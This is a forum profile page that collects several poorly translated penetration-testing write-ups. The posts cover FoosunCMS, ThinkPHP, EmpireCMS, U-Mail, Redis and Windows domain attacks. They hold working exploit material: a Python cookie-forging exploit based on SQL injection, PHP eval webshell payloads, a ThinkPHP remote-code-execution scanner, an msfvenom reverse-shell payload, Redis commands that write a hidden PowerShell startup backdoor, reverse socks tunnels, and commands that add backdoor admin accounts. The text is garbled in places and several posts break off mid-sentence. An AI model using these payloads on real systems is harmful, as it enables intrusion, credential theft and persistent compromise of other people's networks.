Everything posted by UKhackteam
-
Title: A experimental process of roaming from the external network to the internal network at a time
Intranet roaming topology diagram uses login bypass vulnerability to perform backend target website IP: 192.168.31.55, bind the target website IP to www.test.com under the local hosts file (prevent direct access to IP website from loading incompletely), visit www.test.com to get the homepage of the website and find that it is an html static website After clicking, I found that the website was built by FoosunCMS. After clicking, I found that the website was built by FoosunCMS. version is v2.0, and there are vulnerabilities that can be exploited. Bypass the administrator account information verification and enter the background directly. It can be said to be a very dangerous exploit. Visit the website backend address: /manage/Index.aspx Search found that FoosunCMS v2.0 has a login bypass vulnerability. Try to login bypass. Visit the link below to get UserNumber http://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin It is found that UserNumber is encrypted and spliced into cookies to log in successfully Use SQL injection to get UserNumber, and then splice it with UserName, etc. construct the cookie and log in directly with administrator privileges. The Exp code is as follows: #coding:utf-8import argparseimport urllibimport tracebackimport base64from Crypto.Cipher import AESfrom binascii import b2a_hex, a2b_hex#################################search keyword:####inurl:/manage/Login.aspx #################################KEY='Guz(%hj7x89H$yuBI0456FtmaT5fvHUFCy76*h%(HilJ$lhj!y6(*jkP87jH7'IV='E4ghj*Ghg7!rNIfb95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7!hg4ui%$hjk'def parse_args(): parser=argparse.ArgumentParser() parser.add_argument('-u', '--url', help='the url', required=True, nargs='+') return parser.parse_args()def run(url): try: usernumber=get_usernumber(url) if usernumber is not None: encrypt_cookie=generate_cookie(usernumber) #Write to cookie write_cookie(url, encrypt_cookie) except Exception: traceback.print_exc()def get_usernumber(url): fullurl=url + '/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin' content=urllib.urlopen(fullurl).read() index=content.index('option value=\'') if index !=-1: usernumber=content[index+15:] usernumber=usernumber[0: content.index('\'')+1] print 'Get usernumber success. Usernumber is :', usernumber return usernumber else: print 'Get usernumber fail' return Nonedef pkcs7padding(data): bs=AES.block_size padding=bs - len(data) % bs padding_text=chr(padding) * padding return data + padding_textdef generate_cookie(usernumber): orgstr='%s,admin,0,1,False'%(usernumber,) cryptor=AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16]) ciphertext=cryptor.encrypt(pkcs7padding(orgstr)) ciphertext=base64.b64encode(ciphertext) return ciphertextdef write_cookie(url, ciphercookie): print 'Generate Cookie[SITEINFO]:', ciphercookie print 'Now you can write cookie and access the url: %s/manage/index.aspx'%(url,)if __name__=='__main__': args=parse_args() try: if args.url is not None: run(args.url[0]) except Exception, e: print 'python Foosun_exp.py -u [url]' After execution, the encrypted bypassed background login cookie was successfully obtained. Write encrypted cookies printed by scripts to browser cookies using EditThis Cookie Then visit http://www.test.com/manage/Index.aspx to successfully enter the background Note: If the following situation occurs when executing the exp script, you need to install the python Crypto.Cipher encryption package Install the encryption package pipinstallpycryptodome uses file upload vulnerability to obtain the shell and enter the background. After entering the control panel system parameter settings, it is found that the upload file can be modified at the uploading point, and the aspx format can be added to it. Files can be uploaded in the plug-in management advertising system. Try to upload an aspx one-sentence script and found that it was successfully uploaded and returned to the uploaded file path Using a kitchen knife to successfully connect to the uploaded aspx one-sentence script, but found that the permission is not the system permission. Try to use sqlmap to get interactive shell and put the injection point found above into sqlmap and run http://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=% 27admin uses sqlmap to obtain interactive shellsqlmap.py-u'http://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin'--os-shell successfully obtained the interactive shell and was system permission Use SQLmap to try to write a sentence Trojan (Supplementary: Pay attention to the escape problem) Use kitchen knife to successfully connect Use SQLmap interactive shell to fail to add the host ip, showing that the password does not meet the requirements of the password policy group, the complexity is too low, and the password complexity is strengthened. Add the user again and finds that the command execution is successful and the added user is added to the administrator group Use Sqlmap interactive shell to find that the host ip is 192.168.1.123, not the 192.168.31.55 we visited. Then it is possible that the IP that is not in the same network segment is forwarded to the same network segment. set up a proxy to penetrate another intranet and roam intranet. Through checking, it found that it opened port 3389, and used the administrator account password added earlier to log in to 3389 remotely. It was found that there was a notepad on the desktop of the administrator administrator user who found two account passwords. Use the discovered account to log in to the routing interface of www.test.com port :8080 to log in to the routing interface of port :080, which restricts IP login. We guessed that it may be that only intranet IP login can be set. Then we successfully logged in after setting up a proxy locally. It was found that it was an intranet routing website. After logging in to the route, we found that there was a website of 172.19.23.123 under the router. Here we use the reGeorge+proxychains proxy in Kali to perform intranet penetration. First, we set the configuration file of proxychains, open the kali terminal and enter the following command, and remove the comment character before dynamic_chain # of vi /etc/proxychains.conf After setting the port, save and exit, switch to the reGeorg-master file to open the proxy tunnel, return to the following page to indicate the proxy success pythonreGeorgSocksProxy.py-p2333-l0.0.0.0-uhttp://www.test.com/files/tunnel.aspx Use a proxy to open Firefox browser. Note: Add proxychains before the command=Use a proxy to execute this command proxychainsfirefox Using the account password we found above, we successfully logged in to the website. found that this website is a u-mailCMS. We found that a very serious file upload vulnerability broke out in u-mail. You can try whether this website has fixed this vulnerability. The Exp code is as follows: meta http-equiv='Content-Type' content='text/html; charset=utf-8' /FORM name=form1 method=post action='http://172.19.23.123/webmail/client/mail/index.php?module=operateaction=attach-upload' enctype=multipart/form-dataʏ炫炫炫為input type='file' name='Filedata' size='30'INPUT type=submit value=ʏ现name=Submit Use the proxy to open the constructed html page, and then upload a php Malaysia with the suffix jpg After the upload is successful, the file file_id information is displayed.Use the following payload to obtain the currently logged-in user_id of 3http://172.19.23.123/webmail/client/oab/index.php?module=operateaction=member-getpage=1orderby=is_reverse=1keyword=xgk Use the explosive user_id and file_id to construct the uploaded Malaysia file path, and use the PHP resolution vulnerability. After the path is added /.php, it successfully resolves Summary 1. Access the WEB port of the target system, and then query the target system's CMS system through online fingerprint recognition to be FoosunCMS. There is a historical vulnerability in the background injection vulnerability of the website, and the version is v2.0http://www.test.com2. Visit the following address to obtain the administrator's UserNumberhttp://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin3. Directly access the background page http://www.test.com/manage/Index.aspx4. Directly use sql injection to get UserNumber, then splice it with UserName, etc. construct the cookie and log in directly with administrator privileges. The Exp code is as follows: #coding:utf-8import argparseimport urllibimport tracebackimport base64from Crypto.Cipher imp
-
Title: A simple intranet penetration shooting range combat
0x00 Introduction The most important idea is the process of intranet penetration. Although there are not many hosts in intranet penetration this time, it is mainly to train one's own intranet penetration. 0x01 Environment construction Shooting Range: win7 (inside): 192.168.138.136 win7 (external): 192.168.10.25 Domain host: win2008:192.168.138.138 0x03 web server penetration nmap probe port nmap -T4 -sC -sV 192.168.10.25 Here you can see several main ports, such as 80, 135, 139, 445. First of all, you can think of the points that can be used include ipc and smb Opened port 80 and tried to access the web address. I am old smiling, and it is still version 5.x, so there are still many holes. In order to determine the specific version, we first use an error to view it. We found that the version here is 5.0.22. If you remember correctly, there is a tp remote command execution vulnerability here. Vulnerability description: Because thinkphp provides form request forgery for the method method of the core Requests class in the framework, this function uses $_POST['_method'] to pass the real request method. However, since the framework does not verify the parameters, the attacker can set $_POST['_method']='__construct' to make the variables of this class overwritten. The attacker uses this method to overwrite the filter variable with function names such as system. When the parameter filtering is performed internally, he will execute arbitrary commands. thinkphp getshell Here I will first find out if there are any related vulnerabilities in Kali searchsploit thinkphp You can see that there is a 5.x remote execution vulnerability here. Go directly to this folder and check the payload listed in txt. cd /usr/share/exploitdb/exploits/php/webapps cat 46150.txt After finding the corresponding version, fuzz the following payload. This is the list of the database name. Here you see the database name is root 192.168.10.25/thinkphp/public/?s=.|think\config/getname=database.username This payload should list the database password, but it is not printed here 192.168.10.25/thinkphp/public/?s=.|think\config/getname=database.password Here is phpinfo 192.168.10.25/?s=index/\think\app/invokefunctionfunction=call_user_func_arrayvars[0]=phpinfovars[1][]=1 Pass and see if the current permission is administrator 192.168.10.25/?s=index/\think\app/invokefunctionfunction=call_user_func_arrayvars[0]=systemvars[1][]=whoami Look at the IP situation and dual network cards, then there is a high probability that there will be a domain environment 192.168.10.25/?s=index/\think\app/invokefunctionfunction=call_user_func_arrayvars[0]=systemvars[1][]=ipconfig Look at the process and find that there is no killing software, so try to write webshell without killing 192.168.10.25/?s=index/\think\app/invokefunctionfunction=call_user_func_arrayvars[0]=systemvars[1][]=tasklist/svc Here I try to write a one-sentence Trojan here. Because I have checked before, there are no killing software or security dogs, so there is no need to do a kill-free treatment here. 192.168.10.25/?s=index/\think\app/invokefunctionfunction=call_user_func_arrayvars[0]=systemvars[1][]=echo '?php @eval($_POST[cmd]);' connect.php Use dir to verify whether the write is successful 192.168.10.25/?s=index/\think\app/invokefunctionfunction=call_user_func_arrayvars[0]=systemvars[1][]=dir Connect successfully with ant sword thinkphp batch detection I have thought about a question here. There are so many versions of thinkphp. If there is no vulnerability library in Kali and searching on search engines is too time-consuming, is there a script to batch detect thinkphp vulnerabilities? Here I found a script for batch detection of thinkphp vulnerability # !/usr/bin/env python # -*- coding: utf-8 -*- # name: thinkphp remote code detection # description: ThinkPHP5 5.0.22/5.1.29 Remote Code Execution Vulnerability import re import sys import requests import queue import threading from bs4 import BeautifulSoup class thinkphp_rce(threading.Thread): def __init__(self, q): threading.Thread.__init__(self) self.q=q def run(self): While not self.q.empty(): url=self.q.get() headers={'User-Agent':'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50'} payload=r'/?s=index/\think\app/invokefunctionfunction=call_user_func_arrayvars[0]=phpinfovars[1][]=1' vulnurl=url + payload try: response=requests.get(vulnurl, headers=headers, timeout=3, verify=False, allow_redirects=False) soup=BeautifulSoup(response.text,'lxml') if 'PHP Version' in str(soup.text): print ('[+] Remote code execution vulnerability exists at the target address') print ('[+] Vulnerability url address ' + vulnurl) with open('target.txt','a') as f1: f1.write(vulnurl+'\n') f1.close() else: print ('[-] There is no remote code execution vulnerability in the target address') except: print ('[!] Destination address cannot be connected') def urlget(): with open('url.txt','r')as f: urls=f.readlines() for tmp in urls: if '//' in tmp: url=tmp.strip('\n') urlList.append(url) else: url='http://'+tmp.strip('\n') urlList.append(url) return(urlList) f.close() if __name__=='__main__': print('''-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- *Made by :tdcoming *For More :https://t.zsxq.com/Ai2rj6E *MY Heart :https://t.zsxq.com/A2FQFMN ________ _ |__ __| | | (_) | | __| | ____ ___ ___ ___ __ ___ __ __ __ _ | |/_` |/__|/_ \ | '_ ` _ \ | || '_ \/_` | | || (_| || (__| (_) || | | | | | | | | | | | | | | | | | | | | | | | | | | | |_| \__,_| \___|\___/|_| |_| |_| |_||_| |_| |_| \__, | __/| |___/ ''') urlList=[] urlget() threads=[] threads_count=10 q=queue.Queue() for url in urlList: q.put(url) for i in range(threads_count): threads.append(thinkphp_rce(q)) for i in threads: i.start() for i in threads: i.join() The method here is very simple: put the target to be detected in url.txt, and if there is a vulnerability address, a target.txt text will be automatically generated and saved. 0x04 Intranet information collection Here we use the command window of the Ant Sword to collect the information of the machine, which is administrator permission + dual network card Whoamiipconfig Check out the domain related information net viewnet config workstationnet user /domain 0x05 Intranet penetration Online msf msf generates an abc.exe msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f exe abc.exe Upload to the target machine using an ant sword Because there is no killing software here, you don’t need to do it without killing, just execute it on the command line. msf enables monitoring and can be online Information Collection Use getsystem to increase authority to system. This is because it is a shooting range, getsystem is easier to execute successfully. After elevating the authority, obtain a shell in the Windows environment to continue collecting information on the domain. chcp 65001net user /domainnet group 'domain computers' /domainnet group 'domain controllers' /domainnet group 'domain admins' /domain The target machine has a domain environment called "sun", and there is only one domain control. Here I ping the domain control directly to get the domain control ip is 192.168.138.138 Get credentials Here, because there are two network segments, add the route first to facilitate subsequent operations # msf operation route add 192.168.138.0 255.255.255.0 2route print # session operation run autoroute -s 192.168.138.0/24run autoroute -p
-
Title: Practical explanation of intranet penetration ideas
0x00 Introduction This test is a practical test. The test environment is part of the authorized project. The sensitive information content has been coded and is for discussion and learning only. Since I am also a novice in the intranet, some of the msf attack techniques I have used are also very basic. Please give me some advice. 0x01 Get shell There is nothing to say about the Getshell process, it is nothing more than a simple background weak password upload and then the Ice Scorpion connects to getshell. After obtaining the shell, the simulated terminal ping 8.8.8.8 has a return package, indicating that the server is interconnected with the external network. Since it is connected to the external network, you can try to directly use msf's exploit/multi/handler with the Ice Scorpion rebound shell to obtain the session use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost xxx.xxx.xxx.xxxx.
-
Title: Redis Unauthorized + CVE-2019-0708 Combination Fist Utilization
0x01 Introduction This test is a practical test. The test environment is part of the authorized project. The sensitive information content has been coded and is for discussion and learning only. Please obtain authorization when testing. When I got the authorized project, the customer only gave me a company name, and here I was replaced by a certain company. 0x02 Information Collection The old method is to scan the subdomain name and then scan the directory. I found a mess, but there was no point in using it, and it was a cloud host. Further detection of assets, Ouli gave a discovery of CVE-2019-0708. Targetr is a Windows Server 2008 R2 system. 0x03 Getshell I thought to myself that I discovered CVE-2019-0708, so the shell will be stable. At that time, I took out my big health care msf and made a comeback. Damn, I found that it could not be used, and I detected a vulnerability, but failed to create the session. was unwilling to give up, and the settarget was useless. After attacking more than 20 times, the same mistake was still the same, which caused the customer's target machine and followed the blue screen more than 20 times. Continue reading, I found that there is a redis asset. I tried a weak password and found that the password was 123123. Let's check the information first: There is a difficulty in using it here, that is, we don’t know the actual physical path of the website at all. Trying to report an error or blast the physical path is fruitless, so we cannot get the Webshell by writing a sentence or other form; there is no rebound and utilization like Linux here; there is no planned task to write. After the previous information collection, it was found that it was Windows Server 2008 r2. We can write a script to start the Trojan and put it in the startup, and then use CVE-2019-0708 to "force" the host to restart. Just do it, use Powershell's Cs horse here (please note that it is not to be killed, not discussed here). First set the working directory of Redis to the startup directory of Windows, and then write the CS horse. It is best to remember to save, otherwise it will always be in memory. Use CVE-2019-0708 to "force" the host to restart. You can see that it has been successfully launched. After actual testing, this startup item can pass through a domestic software killer, but it will be intercepted when calling cmd. 0x03 Summary 1. Through information collection, the target has a cve-2019-0708 vulnerability. The vulnerability discovery system blue screen restarted 2. Through nmap scanning, it was found that the target system has opened port 3679, which does not have redis service. 3. Try to enter 123123 through a weak password to enter the target system, but now you don’t know the root directory of the website, and can only write the backdoor to the startup item 4. Generate PS script backdoor in CS 5. Write horse config set dir 'c:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/'config set dbfilename update.batset shell '\r\n\r\npowershell.exe -nop -w hidden -c 'saveinfo6. Restart through cve-2019-0708 vulnerability blue screen, successfully launched the CS original text connection: https://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==mid=2247489578idx=1sn=9dc27c1ad60bfbb4fdca0316ce18ee4cchksm=cfa6bc39f8d1352f5b0feb60e8029a68f8719ce8ac42a3d3475db722a319dacfe92e97da7607scene=178cur_album_id=1553386251775492098#rd
-
Title: Record a complete intranet penetration experience
The cause of the story is relatively simple, so let’s summarize it in three words: I’m so idle. Because I mainly want to practice the intranet, I used the simplest and most crude method to find the target. I used fofa to batch a wave of weblogic, and found the target within a while. I simply looked at the machine environment, and there was no software kill (I found out later that there was actually a very niche firewall, but it did not block powershell), and there was an intranet environment. So here we directly try the Scripted Web Delivery module that comes with CSS, and directly create a web service for downloading and executing powershells in one-click. Run the powershell you just generated CS here has been successfully launched. Here we first look at the system information. According to the above, it can be seen that the server is 2012, and the intranet IP segment is 192.168.200.x Then I used Ladon to scan the intranet environment. There are not many machines in this intranet segment, and it can be seen that there is a domain environment. Then, multi-network card detection and web detection were carried out. It can be seen that this intranet has multiple network segments and a web service is opened. mimikatz only reads one user and encrypted password The password can be unlocked on CMD5 Next is the most exciting scan of MS17010! It can be seen that there are several machines that may have MS17010, so I plan to open a socks agent and directly use MSF to hit it. Here, I advise everyone to try to buy servers that are billed according to the quantity when buying servers. Don’t be greedy for a temporary advantage like me. I bought a HK server with only 1M bandwidth. The socks agent that comes with CS is opened, and the local test connection fails, let alone other operations. So here, the author can only temporarily open a server that charges by quantity and reopens a tunnel using EW. The specific process is as follows: Throw the ew file on the server you just opened and execute: ew -s rcsocks -l 1900 -e 1200 to configure a forwarding tunnel, which means forwarding the proxy request received by port 1900 to the host of port 1200 in the reverse connection Then upload the ew file on the target machine and execute: ew -s rssocks -d xxx.xxx.xxx.xxx (server IP created above) -e 1200, enable the target host socks5 service and connect to the 1200 port of the relay machine in reverse. After execution, you will see that an additional line of connection is completed. Then just need to configure the proxy locally and it will be OK. For Windows programs, you can usually use sockscap to configure the following proxy. Because we want to use kali's MSF in the local virtual machine, kali's proxy configuration is more convenient. First, vim /etc/proxychains.conf and add a proxy at the bottom. After saving, directly add proxychains to the program to be started and hang up the proxy. For example, if we want to hang the proxy, we should directly: proxychains msfconsole The road to the intranet is always so bumpy. After experiencing EXP, changing tools + shaking people, I confirmed that MS17010 is indeed impossible to use. Since you can't take the shortcut, then change the path and start with the web. I tried weak password injection and other things, but I couldn't translate it even if Google Translates couldn't understand it even if I entered the background. I'd better find other ways. So further information collection began: View save login credentials, no View a list of shared computers Then I started trying to access the shared computer's C drive On the last one, I found that I had successfully accessed it Ping the machine to get IP 192.168.200.6 Right-click a beacon to create a listener Then use psexec_psh to try online the server 192.168.200.6 Successfully launched Next, we will collect information on the newly launched machines No other discoveries Next, go back to the starting point and see which machines there are in this network segment You can see that there are four Linux machines, namely 22, 1, 5, 11 At this time we can try a wave of weak passwords. I can only say that luck is a little less I simply checked the information about processes and did not find that although I had already taken down two intranet machines at this time, they were not in-domain machines. The other Linux hosts tested weak passwords and were incorrect, and then they were in a deadlock again. At this time, I saw that the machine I took down .6 was named veeam backup. I guessed that this might be a backup server and there might be backup files in his hard disk, so I carefully checked the contents of each of his folders. I can only say that luck cannot be stopped when it comes. In the folder on disk D, a folder called Backup was found, which stores backups of three machines. I simply finished the suffix on Baidu and found that it is a software called Veeam® Backup Replication. Its function is to make backups for Vsphere and others. In an instant, my thoughts became clear, I just needed to install Veeam® Backup locally Replication software then compresses the full backup package of this DC to the local area, restores it to a virtual machine, and then renames it through PE and renames it with CMD.EXE. In this way, you can call up the system command line in the login interface, and then find a way to add an administrator account or modify the administrator account to enter the interface, launch CS locally, and then hashdump to directly read out the stored user HASH user in the domain, and then directly get the online DC through Pth. He did it as he said, because this backup server did not leave the network, but he and the 21 network-release machine have a shared folder. In order to facilitate his behavior, he secretly created a hidden account on the backup server, and directly 7z compressed the latest DC full backup into a 700M compression package, and placed it all in the shared folder. The machine that is out of the network also has only port 7001, so it found the weblogic web path, put all the compressed packages into the web path from the shared folder, and downloaded them from the web side. Because the bandwidth of this network-out machine is too low, the average speed is 200K, and it keeps getting stuck, it finally got off after a long wait. During this long download process, I downloaded the Veeam® Backup Replication software this machine first. Suddenly I found a very interesting thing, which is that he can support logging in with a local administrator account. And because he backed up virtual machines with other IPs, I guess he should have logged into Vsphere. So I hooked up the agent and checked it out again. Sure enough, I guessed it right, Wuhu took off. Equivalent to administrator privileges. The full backup downloaded locally is also very simple to restore locally. Just double-click the software and automatically open the software. Restore completed The next step is simple. Download Lao Maotao and generate an ISO PE toolbox Mount to the virtual machine, press ESC on the power After entering PE, renaming cmd.exe to osk.exe will overwrite the original C disk \windows\system32\osk.exe. In this way, when you turn on the screen keyboard when you turn on the computer, the command line with SYSTEM permissions will pop up. Some problems occurred when directly adding users here. Finally, after modifying the password of a domain user, it added to the local administrator group and successfully entered the system. When the final generation of the exe was launched, the Hanpi firewall finally started to be protected. Give Hanhan firewall a front view. TMD is still following me on my local virtual machine? I won't shut you down. However, you need a password to close - forget it, bear it. Finally, it was launched with the original powershell. Then the most ritual scene In the end, you just need to use the hash to fight the online DC and it's all done. After finishing work and going to bed. Summary 1. Searching for the target system through fofa adopts the weblogic framework, and executable commands through weblogic using tools. Here, upload a sentence of Ice Scorpion to the target website system. It was also found that there was a niche firewall in the target system, and after testing, the firewall did not intercept the ps script. 2. On VPS, use the Scripted Web Delivery module that comes with CD, and directly create a web service for downloading and executing powershels in one click. URL path: /a/123 Host address: Target system IP port: 80 Listener: https Type: poseshell3. Execute powershel, and then CS is successfully launched. 4. Query the target system information through the C command and found that the target system is win2012 and the target intranet IP is 192.168.200.21shell systeminfoshell ipconfig5. Upload the Ladon to the target system through cs, scan the intranet system through ladon, and find that the target has a WEB service host. landon 192.168.200.1/24 OsScan6. The user name and password hash value are successfully read through mimikatz, and the password NTML is decrypted through md5, and successfully decrypted to P@sssw0rd. 7. Batch ms17-010 scan through ladon and found that there are ms17-010 vulnerabilities in several systems. Landon 192.168.200.1/24 MS170108. Execute the following command on the public network VPS to forward the proxy request received by port 1900 to the host ew that is back-connected to port 1200 ew -s rcsocks -l 1900 -e 12009. Upload ew through ice scorpion to the target system, and execute the following command, enable the target host socks5 service and reversely connect to port 1200 of the relay machine ew -s rssocks -d xxx.xxx.xxx.xxx.xxx (public network VPS IP) -e 120010. Local WINDOWS uses sockscap locally to configure the sock5 proxy. The MSF of Kali in the local virtual machine. The kali proxy configuration is more convenient. First, vim /etc/proxychains.conf, add sock5 to socks5 target IP 190011. In kali, if you want to hang the proxy, just: proxychains msfconsole. In sockscap, add the socks5 proxy accessed by IBrowser in sockscap, which is used for intranet web access, but test weak passwords and find it impossible to enter. 12. Continue to collect information, view login credentials, and have anything shell cmdkey /l13. View the list of shared computers and try to access the computer C disk. I found that the backup computer can access the shared shell ne views \\VEEAM-BACKUP\$14. By ping the target shared computer, query the IP address is 192.168.200.6ping VEEAM-BACKUP15. Create a listener on CS to relay---listen--name (c2), payload (windows/beacon_reverse_tcp), listen host :192.168.200.21, listen port:444416. Then use psexec_psh to try to go online 192.168.200.6, which was successfully launched. At first, I found that there was nothing on the host jump psexec _psh 192.168.200.617. Through previous ladon detection, it was found that the hosts 22, 1, 5, and 11 in the intranet were Linux systems. I tried weak passwords and found that there was a weak password in 192.168.200.22, and there was no available ssh on the linux host. 192.168.200.22 root 12345618. I found a Backup file on the VEEAM-BACKUP host, which stores backups of three machines. It is a Veeam® Backup Replication's software, its function is to make backups specifically for Vsphere and others. 19. I found that VEEAM-BACKUP does not go out of the outside network. Here I use 7z to package and compress the Backup file. In the web directory in the target system, copy the Backup file to the target system through command sharing. 19. Install Backup Replication locally and restore the backup file. I found that the login window has the default username, password and IP. This requires login in the target intranet. Here, you can successfully access the sock4 proxy that loads Backup Replication locally through Proxifier by enabling the sock4 proxy. 20. The full backup downloaded locally is also very simple to restore locally. Just install the software and double-click it and automatically open the software for restoration. 21. Enter the system through Lao Maotao's win pe. Here, rename cmd.exe to osk.exe here to overwrite the original C disk \windows\system32\osk.exe. In this way, when you turn on the screen keyboard, the SYSTEM permission command line will pop up. 22. Through command query, it was found that the restored system was a normal domain host. Here, the domain user was added to the local administrator group and successfully entered the system after adding it to the local administrator group through command addition. net user hanli quer1345 @ /addnet localgroup administrators hanli /add23. It successfully goes online in the virtual machine through the backdoor of cs, and read the hash through the hasdump of cs, and passes the original link through the hash through the hash: https://xz.aliyun.com/t/9374
-
Title: Record once the source code leaks to getshell (II)
0x00 Introduction The vulnerability described in the article has been submitted to the vulnerability platform, and all malicious operations have been restored 0x01 Source code leak http://www.xxx.com.cn/www.zip The old rules to get the source code and first pass the keywords to find sensitive information key pwd passwd After finding password for a long time, I couldn't find a valid password Finally, see the information about CMS in robots.txt - EmpireCMS After querying, you can find out that it is open source cms, and directly query the data table structure on Baidu. I know that the administrator record table is phome_enewsuser, search globally in the source code 0x02 Sensitive information leakage Click in to get the administrator username, password hash and salt value Directly solve md5 to get the password After Kite/kite gets the password, it finds the background address. Since it is open source, it will be available at Baidu. Take a look at the directory and do not modify the background address, so you can access it directly http://www.xxx.com.cn/e/admin/ The specific version number is 6.6 0x04 Historical Vulnerability After logging in to the background, because it is an open source CMS, historical vulnerabilities are the key to penetration. Search for empireCMS vulnerabilities directly and start reproducing historical vulnerabilities 1.Background-Template-Public Template-JS Call Login Template Getshell It has ended before it started Table 'hdm1010482_db.phome_enewstempgroup' doesn't exist good guy, is this the table deleted? 2.Backend data table and system model-import database model getshell There is a security vulnerability in the LoadInMod function of the e/class/moddofun.php file in EmpireCMS 7.5 and previous versions. An attacker can use this vulnerability to upload any file. Create a new test.php.mod file locally, with the contents of ?php file_put_contents('lyy.php','?php @eval(\$_POST['lyy']);');Fill in any table name and select Import immediately Another table does not exist, GG 3. Backup and restore data in the background - execute the sql statement getshell There is a code injection vulnerability in the admindbDoSql.php file in EmpireCMS7.5 and previous versions. That is, the background provides an SQL statement execution As long as the server mysql configuration secure_file_priv is incorrect, you can write files to the server. Payloadselect '?php @eval($_POST[123])?' into outfile 'absolute path /e/admin/lyy.php' Because you want to write a file to the site, you must know the absolute path. Because it is no echo execution, it cannot obtain part of the path through the show mysql variable, so it is also passed show variables like '%datadir%'; 4. Backup and restore data - Backup data getshell empirecms When the database is backed up in the background, the database table name is not verified. By modifying the database table name, any code execution can be achieved. Select any table and start backing up and grabbing Change the tablename field to payload @eval($_POST[123]) request package POST /e/admin/ebak/phome.php HTTP/1.1 Host: www.xxx.com.cn Content-Length: 285 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://www.xxx.com.cn Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://www.xxx.com.cn/e/admin/ebak/ChangeTable.php?mydbname=hdm1010482_db Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: bxubwecmsdodbdata=empirectms; bxubwloginuserid=1; bxubwloginusername=Kite; bxubwloginlevel=1; bxubweloginlic=empirectmslic; bxubwloginadminstyleid=1; bxubwloginrnd=F3JiUXpyeXm6mWPTsdUG; bxubwlogincmsckpass=e816ccfcb01f4ed8ee0ad531de6fa67c; bxubwtruelogintime=1640762619; bxubwlogintime=1640762630 Connection: close phome=DoEbakmydbname=hdm1010482_dbbaktype=phpinfo()filesize=300bakline=500autoauf=1bakstru=1dbchar=gbkbakdatatype=1mypath=hdm1010482_db_20211229152350insertf=replacewaitbaktime=0readme=autofield=tablename%5B%5D=@eval($_POST[123])chkall=onSubmit=%BF%AA%CA%BC%B1%B8%B7%DD echo to get the backup folder name hdm1010482_db_20211229152350webshell connection config.php under the backup folder http://www.xxx.cn/e/admin/ebak/bdata/hdm1010482_db_20211229152350/config.php successfully getshell Principle Analysis Because I have the source code in my hand, I followed this loophole First, search config.php directly and find it File write operation in Ebak_DoEbak in e/admin/ebak/class/functions.php file $string='?php \$b_table=\''.$b_table.'\'; '.$d_table.' \$b_baktype='.$add['baktype'].'; \$b_filesize='.$add['filesize'].'; \$b_bakline='.$add['bakline'].'; \$b_autoauf='.$add['autoauf'].'; \$b_dbname=\''.$dbname.'\'; \$b_stru='.$bakstru.'; \$b_strufour='.$bakstrufour.'; \$b_dbchar=\''.addslashes($add['dbchar']).'\'; \$b_beover='.$beover.'; \$b_insertf=\''.addslashes($insertf).'\'; \$b_autofield=\','.addslashes($add['autofield']).',\'; \$b_bakdatatype='.$bakdatatype.'; ?'; $cfile=$bakpath.'/'.$add['mypath'].'/config.php'; WriteFiletext_n($cfile,$string); You can see that the $d_table variable is directly spliced Let's take a look at writing function WriteFiletext_n There is no filtering for the write content, so you just need to know how to control the value of the $d_table variable crtl+left button follows above And $count is the number of $tablename, $tablename is the key value of tablename in $add Find the location where the Ebak_DoEbak function is called and know that $add is $_POST It is clear that he processed the tablename of the POST parameter and generated two variables $b_table and $d_table, where $b_table is wrapped in double quotes and cannot be used However, $d_table is wrapped without double quotes and is written directly to the .php file without arbitrary filtering, resulting in the command execution Why isn't it another parameter? Most other parameters are wrapped in double quotes Parameters that are not wrapped in double quotes are forced to int, if str is passed, it will return 0, so pass 3's follow-up After obtaining the real path of the site through vulnerability 4, I constructed the SQL statement and tried to directly webshell to the site. select '?php phpinfo();' into outfile '/data/home/hmu072095/htdocs/e/admin/lyy.php' Although a database connection error was exploded, the statement was successfully executed, but the content written was replaced with empty Can be accessed successfully but without content Can write normal characters select 'test' into outfile '/data/home/hmu072095/htdocs/e/admin/1.txt' The preliminary judgment is that the php tag has been filtered and other writing methods have been tried to bypass it. 1.select '? phpinfo();' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php' 2.select 'script language='php' phpinfo(); /script' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php' 3.select '?php @eval($_POST[1])?' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php' Only the last asp style is successfully written Trying to access cannot be executed. Check the default PHP short tag configuration item on Linux, and it is gone. Summary 1. The target site was scanned through the Yujian Directory scanning tool. It was found that the website's backup file www.zip was leaked, and the source code analysis was downloaded locally. 2. Load the source code through phpstorm and search for keywords key, pwd, password, passwd, and no relevant password was found. Through robots.txt, it was found that it was EmpireCMS 3. Search the data table structure of EmpireCMS through Baidu, and found that phome_enewsuser is the administrator record table. Through global batch search of the phome_enewsuser keyword, it was found that the user name and password of the website administrator of the source code were leaked. The plain text was obtained by md5 decryption. 4. Enter the default background 